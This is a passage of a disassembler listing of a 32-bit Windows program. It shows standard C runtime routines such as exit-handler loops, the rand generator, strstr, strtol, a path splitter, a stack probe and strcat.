loc_41C1D0:				; CODE XREF: sub_41C1B3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DBE20, edi
		mov	byte_4DBE1C, bl
		jnz	short loc_41C224
		mov	eax, dword_4DD39C
		test	eax, eax
		jz	short loc_41C213
		mov	ecx, dword_4DD398
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41C212


loc_41C1FF:				; CODE XREF: sub_41C1B3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41C207
		call	eax


loc_41C207:				; CODE XREF: sub_41C1B3+50j
		sub	esi, 4
		cmp	esi, dword_4DD39C
		jnb	short loc_41C1FF


loc_41C212:				; CODE XREF: sub_41C1B3+4Aj
		pop	esi


loc_41C213:				; CODE XREF: sub_41C1B3+3Cj
		push	offset dword_429034
		push	offset dword_42902C
		call	sub_41C24C
		pop	ecx
		pop	ecx


loc_41C224:				; CODE XREF: sub_41C1B3+33j
		push	offset dword_429040
		push	offset dword_429038
		call	sub_41C24C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41C24A
		push	[esp+4+arg_0]
		mov	dword_4DBE24, edi
		nop
		call	near ptr 77E75CB5h


loc_41C24A:				; CODE XREF: sub_41C1B3+85j
		pop	edi
		retn
sub_41C1B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C24C	proc near		; CODE XREF: ___:0041C179p
					; ___:0041C188p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41C251:				; CODE XREF: sub_41C24C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41C264
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41C25F
		call	eax


loc_41C25F:				; CODE XREF: sub_41C24C+Fj
		add	esi, 4
		jmp	short loc_41C251
; ---------------------------------------------------------------------------


loc_41C264:				; CODE XREF: sub_41C24C+9j
		pop	esi
		retn
sub_41C24C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C266	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C2A6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C2B3
; ---------------------------------------------------------------------------


loc_41C2A6:				; CODE XREF: sub_41C266+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41C2B3:				; CODE XREF: sub_41C266+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C266	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2B8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+315Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43AE00, eax
		retn
sub_41C2B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2C2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43AE00
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43AE00, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41C2C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2E0	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41C35A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41C347


loc_41C2F8:				; CODE XREF: sub_41C2E0+52j
					; sub_41C2E0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41C31A
		test	al, al
		jz	short loc_41C314


loc_41C309:				; CODE XREF: sub_41C2E0+32j
		mov	al, [esi]
		inc	esi


loc_41C30C:				; CODE XREF: sub_41C2E0+3Fj
		cmp	al, dl
		jz	short loc_41C31A
		test	al, al
		jnz	short loc_41C309


loc_41C314:				; CODE XREF: sub_41C2E0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C31A:				; CODE XREF: sub_41C2E0+23j
					; sub_41C2E0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41C30C
		lea	edi, [esi-1]


loc_41C324:				; CODE XREF: sub_41C2E0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41C353
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41C2F8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41C353
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41C324
		jmp	short loc_41C2F8
; ---------------------------------------------------------------------------


loc_41C347:				; CODE XREF: sub_41C2E0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41C996
; ---------------------------------------------------------------------------


loc_41C353:				; CODE XREF: sub_41C2E0+49j
					; sub_41C2E0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C35A:				; CODE XREF: sub_41C2E0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41C2E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C360	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C15p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C39F
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C3AC
; ---------------------------------------------------------------------------


loc_41C39F:				; CODE XREF: sub_41C360+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41C3AC:				; CODE XREF: sub_41C360+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C360	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C3B1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+2177p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B9C0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41C3EC
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41C3EC
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41C3E8
		push	2
		push	ebx
		push	esi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41C3E8:				; CODE XREF: sub_41C3B1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41C3F6
; ---------------------------------------------------------------------------


loc_41C3EC:				; CODE XREF: sub_41C3B1+18j
					; sub_41C3B1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C3F6
		and	byte ptr [eax],	0


loc_41C3F6:				; CODE XREF: sub_41C3B1+39j
					; sub_41C3B1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41C46E


loc_41C409:				; CODE XREF: sub_41C3B1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DD261[edx], 4
		jz	short loc_41C41A
		inc	eax
		jmp	short loc_41C434
; ---------------------------------------------------------------------------


loc_41C41A:				; CODE XREF: sub_41C3B1+64j
		cmp	cl, 2Fh
		jz	short loc_41C42E
		cmp	cl, 5Ch
		jz	short loc_41C42E
		cmp	cl, 2Eh
		jnz	short loc_41C434
		mov	[ebp+var_4], eax
		jmp	short loc_41C434
; ---------------------------------------------------------------------------


loc_41C42E:				; CODE XREF: sub_41C3B1+6Cj
					; sub_41C3B1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41C434:				; CODE XREF: sub_41C3B1+67j
					; sub_41C3B1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41C409
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41C46E
		cmp	[ebp+arg_8], 0
		jz	short loc_41C469
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C452
		mov	edi, esi


loc_41C452:				; CODE XREF: sub_41C3B1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420B29
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C469:				; CODE XREF: sub_41C3B1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41C478
; ---------------------------------------------------------------------------


loc_41C46E:				; CODE XREF: sub_41C3B1+56j
					; sub_41C3B1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41C478
		and	byte ptr [ecx],	0


loc_41C478:				; CODE XREF: sub_41C3B1+BBj
					; sub_41C3B1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41C4CB
		cmp	edi, ebx
		jb	short loc_41C4CB
		cmp	[ebp+arg_C], 0
		jz	short loc_41C4A8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C491
		mov	edi, esi


loc_41C491:				; CODE XREF: sub_41C3B1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420B29
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C4A8:				; CODE XREF: sub_41C3B1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41C4F3
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41C4B8
		mov	esi, eax


loc_41C4B8:				; CODE XREF: sub_41C3B1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41C4F3
; ---------------------------------------------------------------------------


loc_41C4CB:				; CODE XREF: sub_41C3B1+CCj
					; sub_41C3B1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41C4E9
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41C4DA
		mov	esi, eax


loc_41C4DA:				; CODE XREF: sub_41C3B1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41C4E9:				; CODE XREF: sub_41C3B1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41C4F3
		and	byte ptr [eax],	0


loc_41C4F3:				; CODE XREF: sub_41C3B1+FCj
					; sub_41C3B1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C3B1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C500	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41C520


loc_41C50C:				; CODE XREF: sub_41C500+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41C50C


loc_41C520:				; CODE XREF: sub_41C500+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41C500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C52F	proc near		; CODE XREF: sub_401ACD+73F5p
					; sub_401ACD+7424p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41C543
		xor	eax, eax
		jmp	short loc_41C579
; ---------------------------------------------------------------------------


loc_41C543:				; CODE XREF: sub_41C52F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41C573
		mov	esi, [ebp+arg_8]


loc_41C54C:				; CODE XREF: sub_41C52F+42j
		dec	dword ptr [esi+4]
		js	short loc_41C55B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41C562
; ---------------------------------------------------------------------------


loc_41C55B:				; CODE XREF: sub_41C52F+20j
		push	esi
		call	sub_41F8E3
		pop	ecx


loc_41C562:				; CODE XREF: sub_41C52F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41C57D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41C573
		dec	[ebp+arg_4]
		jnz	short loc_41C54C


loc_41C573:				; CODE XREF: sub_41C52F+18j
					; sub_41C52F+3Dj ...
		and	byte ptr [edi],	0


loc_41C576:				; CODE XREF: sub_41C52F+55j
		mov	eax, ebx
		pop	esi


loc_41C579:				; CODE XREF: sub_41C52F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C57D:				; CODE XREF: sub_41C52F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41C573
		xor	ebx, ebx
		jmp	short loc_41C576
sub_41C52F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C586	proc near		; CODE XREF: ___:0041E645p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C59D
		add	esp, 10h
		retn
sub_41C586	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C59D	proc near		; CODE XREF: sub_41C586+Ep
					; sub_41C7A5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41C5B5:				; CODE XREF: sub_41C59D+46j
		cmp	dword_43D084, 1
		jle	short loc_41C5CD
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C5DC
; ---------------------------------------------------------------------------


loc_41C5CD:				; CODE XREF: sub_41C59D+1Fj
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C5DC:				; CODE XREF: sub_41C59D+2Ej
		test	eax, eax
		jz	short loc_41C5E5
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41C5B5
; ---------------------------------------------------------------------------


loc_41C5E5:				; CODE XREF: sub_41C59D+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41C5F3
		or	[ebp+arg_C], 2
		jmp	short loc_41C5F8
; ---------------------------------------------------------------------------


loc_41C5F3:				; CODE XREF: sub_41C59D+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41C5FE


loc_41C5F8:				; CODE XREF: sub_41C59D+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41C5FE:				; CODE XREF: sub_41C59D+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41C795
		cmp	eax, 1
		jz	loc_41C795
		cmp	eax, 24h
		jg	loc_41C795
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41C646
		cmp	bl, 30h
		jz	short loc_41C630
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41C662
; ---------------------------------------------------------------------------


loc_41C630:				; CODE XREF: sub_41C59D+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C643
		cmp	al, 58h
		jz	short loc_41C643
		mov	[ebp+arg_8], 8
		jmp	short loc_41C662
; ---------------------------------------------------------------------------


loc_41C643:				; CODE XREF: sub_41C59D+97j
					; sub_41C59D+9Bj
		mov	[ebp+arg_8], ecx


loc_41C646:				; CODE XREF: sub_41C59D+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41C662
		cmp	bl, 30h
		jnz	short loc_41C662
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C65A
		cmp	al, 58h
		jnz	short loc_41C662


loc_41C65A:				; CODE XREF: sub_41C59D+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41C662:				; CODE XREF: sub_41C59D+91j
					; sub_41C59D+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41C672:				; CODE XREF: sub_41C59D+16Cj
		cmp	dword_43D084, 1
		movzx	esi, bl
		jle	short loc_41C68A
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C695
; ---------------------------------------------------------------------------


loc_41C68A:				; CODE XREF: sub_41C59D+DFj
		mov	eax, off_43CE78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C695:				; CODE XREF: sub_41C59D+EBj
		test	eax, eax
		jz	short loc_41C6A1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41C6D3
; ---------------------------------------------------------------------------


loc_41C6A1:				; CODE XREF: sub_41C59D+FAj
		cmp	dword_43D084, 1
		jle	short loc_41C6B5
		push	edi
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C6C0
; ---------------------------------------------------------------------------


loc_41C6B5:				; CODE XREF: sub_41C59D+10Bj
		mov	eax, off_43CE78
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41C6C0:				; CODE XREF: sub_41C59D+116j
		test	eax, eax
		jz	short loc_41C70E
		movsx	eax, bl
		push	eax
		call	sub_420BB3
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41C6D3:				; CODE XREF: sub_41C59D+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41C70E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41C6F8
		jnz	short loc_41C6F2
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41C6F8


loc_41C6F2:				; CODE XREF: sub_41C59D+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41C701
; ---------------------------------------------------------------------------


loc_41C6F8:				; CODE XREF: sub_41C59D+145j
					; sub_41C59D+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41C701:				; CODE XREF: sub_41C59D+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41C672
; ---------------------------------------------------------------------------


loc_41C70E:				; CODE XREF: sub_41C59D+125j
					; sub_41C59D+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41C72C
		test	edx, edx
		jz	short loc_41C726
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41C726:				; CODE XREF: sub_41C59D+181j
		and	[ebp+var_8], 0
		jmp	short loc_41C779
; ---------------------------------------------------------------------------


loc_41C72C:				; CODE XREF: sub_41C59D+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41C752
		test	cl, 1
		jnz	short loc_41C779
		and	ecx, 2
		jz	short loc_41C749
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41C752


loc_41C749:				; CODE XREF: sub_41C59D+1A1j
		test	ecx, ecx
		jnz	short loc_41C779
		cmp	[ebp+var_8], eax
		jbe	short loc_41C779


loc_41C752:				; CODE XREF: sub_41C59D+197j
					; sub_41C59D+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DBDDC, 22h
		jz	short loc_41C768
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41C779
; ---------------------------------------------------------------------------


loc_41C768:				; CODE XREF: sub_41C59D+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41C779:				; CODE XREF: sub_41C59D+18Dj
					; sub_41C59D+19Cj ...
		test	edx, edx
		jz	short loc_41C782
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41C782:				; CODE XREF: sub_41C59D+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41C790
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41C790:				; CODE XREF: sub_41C59D+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41C7A0
; ---------------------------------------------------------------------------


loc_41C795:				; CODE XREF: sub_41C59D+66j
					; sub_41C59D+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C79E
		mov	[eax], edi


loc_41C79E:				; CODE XREF: sub_41C59D+1FDj
		xor	eax, eax


loc_41C7A0:				; CODE XREF: sub_41C59D+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C59D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7A5	proc near		; CODE XREF: sub_401ACD+60F0p
					; sub_401ACD+6931p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C59D
		add	esp, 10h
		retn
sub_41C7A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7BC	proc near		; CODE XREF: sub_401ACD+58ADp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 26A0927h
		test	eax, eax
		jnz	short loc_41C7D2
		call	near ptr 26B0669h
		nop
		jmp	short loc_41C7D4
; ---------------------------------------------------------------------------


loc_41C7D2:				; CODE XREF: sub_41C7BC+Cj
		xor	eax, eax


loc_41C7D4:				; CODE XREF: sub_41C7BC+14j
		test	eax, eax
		jz	short loc_41C7E3
		push	eax
		call	sub_420C7F
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41C7E3:				; CODE XREF: sub_41C7BC+1Aj
		xor	eax, eax
		retn
sub_41C7BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C7E6	proc near		; CODE XREF: sub_401ACD+5801p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420CE6
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41FF3F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_420D73
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41C7E6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C820	proc near		; CODE XREF: sub_401ACD+1E1Fp
					; sub_401ACD+1E3Ep ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41C841
		xor	eax, eax
		jmp	short loc_41C843
; ---------------------------------------------------------------------------


loc_41C841:				; CODE XREF: sub_41C820+1Bj
		mov	eax, edi


loc_41C843:				; CODE XREF: sub_41C820+1Fj
		cld
		pop	edi
		leave
		retn
sub_41C820	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C850	proc near		; CODE XREF: sub_401ACD+854p
					; ___:0041E5BDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41C881
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41C87F
		jz	short loc_41C881
		dec	ecx
		dec	ecx


loc_41C87F:				; CODE XREF: sub_41C850+29j
		not	ecx


loc_41C881:				; CODE XREF: sub_41C850+9j
					; sub_41C850+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41C850	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C890	proc near		; CODE XREF: sub_401ACD+42Dp
					; sub_401ACD+2FB3p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41C901
sub_41C890	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C8A0	proc near		; CODE XREF: sub_401ACD+436p
					; sub_401ACD+746Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41C8BC


loc_41C8AD:				; CODE XREF: sub_41C8A0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41C8EF
		test	ecx, 3
		jnz	short loc_41C8AD


loc_41C8BC:				; CODE XREF: sub_41C8A0+Bj
					; sub_41C8A0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C8BC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41C8FE
		test	ah, ah
		jz	short loc_41C8F9
		test	eax, 0FF0000h
		jz	short loc_41C8F4
		test	eax, 0FF000000h
		jz	short loc_41C8EF
		jmp	short loc_41C8BC
; ---------------------------------------------------------------------------


loc_41C8EF:				; CODE XREF: sub_41C8A0+12j
					; sub_41C8A0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8F4:				; CODE XREF: sub_41C8A0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8F9:				; CODE XREF: sub_41C8A0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8FE:				; CODE XREF: sub_41C8A0+39j
		lea	edi, [ecx-4]


loc_41C901:				; CODE XREF: sub_41C890+5j
					; sub_41C8A0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41C926


loc_41C90D:				; CODE XREF: sub_41C8A0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41C978
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41C90D
		jmp	short loc_41C926
; ---------------------------------------------------------------------------


loc_41C921:				; CODE XREF: sub_41C8A0+9Ej
					; sub_41C8A0+B8j
		mov	[edi], edx
